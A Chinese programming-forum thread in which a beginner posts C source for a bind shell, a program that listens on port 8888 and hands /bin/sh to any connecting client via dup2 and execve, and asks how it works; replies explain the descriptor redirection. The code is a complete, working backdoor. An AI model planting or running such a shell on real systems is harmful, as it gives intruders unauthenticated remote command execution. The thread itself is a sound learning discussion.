c语言编程问题
本帖最后由 dydsaf 于 2021-3-18 19:52 编辑先看代码
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int sock, cli;
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family= 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = htons(8888);
sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0); // execve ("/bin/sh", argv_rc, envp_rc);
}
这里本地监听了8888端口 但后面dup2 和execve这两个函数这里没看懂
查了一下 dup2 好像是复制文件描述符的 但是没看懂他这样做的意义{:301_972:}
然后execve。。。也没看懂{:301_972:} 为什么用其他主机nc连接本地的8888端口可以执行命令
c语言小白 各位大佬救救我{:301_972:} dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了 好像搞清白一点了 主要想不清这个代码就写了一个accept等待客户端连接的 然后客户端连接后就能直接执行命令 就完全懵逼了 现在好像发现核心应该就是在dup这个函数上了 各位 我再去研究研究 等我好消息{:301_988:} 大佬牛逼 好问题,学习下 c语言怎么学啊?学到数据结构有点迷茫?
是在学kali吗?
资料能共享下不?
网上都是过时的,不好学啊 感觉C语言是能最好解决底层硬件的语言 ciker_li 发表于 2021-3-18 20:33
dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了
懂了懂了 感谢大佬{:301_988:}
今天不能评分了 明天
页:
[1]
2